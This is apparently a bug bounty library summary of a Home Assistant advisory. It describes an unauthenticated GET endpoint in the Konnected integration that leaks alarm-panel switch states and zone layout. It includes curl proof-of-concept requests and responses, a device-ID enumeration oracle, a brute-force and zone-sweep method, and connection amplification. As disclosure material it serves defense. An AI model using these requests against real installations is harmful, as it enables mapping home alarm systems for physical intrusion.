# Home Assistant: Konnected alarm-panel switch state and zone topology disclosed to unauthenticated actors on the LAN

Konnected integration's unauthenticated GET handler on /api/konnected/device/{id} leaks alarm-panel switch states and zone topology to any LAN client, unlike POST/PUT which enforce a Bearer token.

- Payout: Research
- Severity: high
- Program: Home Assistant
- Found by: Har1sh-k
- Disclosed: 2026-06-19
- CVE: CVE-2026-54317
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-x84v-g949-293w
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-x84v-g949-293w
- Tags: area:devices domain:iot domain:web impact:data-leak impact:dos kind:research platform:ghsa sev:high tech:python technique:source-review vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** Home Assistant Konnected integration HTTP endpoint /api/konnected/device/{device_id}
**Root cause:** KonnectedView sets requires_auth=False expecting the integration's access token to be checked, but only update_sensor() (POST/PUT) validates the Bearer token; the get() handler has no auth check at all.
**Steps:**
1. Read homeassistant/components/konnected/__init__.py: view registration sets `requires_auth = False` with comment 'Uses access token from configuration'
2. Confirm control: `curl -X POST http://127.0.0.1:8123/api/konnected/device/aabbccdd1122` returns 401 unauthorized without Bearer token
3. Send unauthenticated GET `curl http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5` returns `{"zone":"5","state":1}`
4. Enumerate device IDs: unknown id returns 404 `Device <id> not configured`; known id with unknown zone returns 404 `Switch on zone or pin <n> not configured`; valid zone returns 200 with state
5. Sweep zones 1-12 on a known device_id to map switch/sensor topology
6. Fire N unauthenticated GETs to trigger N outbound `panel.async_connect()` calls (line 397)
7. Verify Authorization header is ignored: wrong Bearer token still returns 200 with state
**How found:** Code review of the view registration: the comment claiming auth 'via the access token from configuration' prompted checking whether every HTTP method actually enforced it; POST/PUT did via hmac.compare_digest, GET did not.
**Exploitation:** Any LAN-adjacent unauthenticated client (guest wifi, compromised IoT device, VPN pivot) sends GET requests to port 8123. The four-state 404/200 oracle lets them brute-force device_id (derived from NIC MAC, ~2^24 space, no rate limit) and then sweep zones to read live siren/strobe/relay states and map the alarm panel topology, enabling physical intrusion planning. Repeated GETs also amplify outbound connections to the panel hardware.
**Escalation:** Chained with device_id brute force (MAC-derived, small OUI space) to enumerate all panels, then zone sweep for full topology; connection amplification via unbounded async_connect() calls.
**Insight:** When a view sets requires_auth=False with a comment promising token auth, verify each HTTP method handler individually — auth checks placed inside one method (update_sensor) silently miss sibling handlers (get) on the same URL.

## Proof of concept (copied exactly from the original report)

**Unauthenticated GET leaks siren/strobe/relay switch state**

```
$ curl -sS -i "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5"

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 22

{"zone":"5","state":1}

$ curl -sS -i "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=6"

HTTP/1.1 200 OK
Content-Length: 22

{"zone":"6","state":1}

$ curl -sS -i "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=7"

HTTP/1.1 200 OK
Content-Length: 22

{"zone":"7","state":1}
```

**Control: POST/PUT return 401 without Bearer token**

```
$ curl -sS -i -X POST -H "Content-Type: application/json" \
    -d '{"zone":"5","state":"1"}' \
    http://127.0.0.1:8123/api/konnected/device/aabbccdd1122

HTTP/1.1 401 Unauthorized
Content-Type: application/json
Content-Length: 26

{"message":"unauthorized"}

$ curl -sS -i -X PUT -H "Content-Type: application/json" \
    -d '{"zone":"5","state":"1"}' \
    http://127.0.0.1:8123/api/konnected/device/aabbccdd1122

HTTP/1.1 401 Unauthorized
Content-Type: application/json
Content-Length: 26

{"message":"unauthorized"}
```

**Enumeration oracle: 404 vs 200 response shapes**

```
$ curl -sS -i "http://127.0.0.1:8123/api/konnected/device/ffffffffffff?zone=5"

HTTP/1.1 404 Not Found
Content-Length: 48

{"message":"Device ffffffffffff not configured"}

$ curl -sS -i "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=99"

HTTP/1.1 404 Not Found
Content-Length: 53

{"message":"Switch on zone or pin 99 not configured"}

$ curl -sS -i "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5"

HTTP/1.1 200 OK
Content-Length: 22

{"zone":"5","state":1}
```

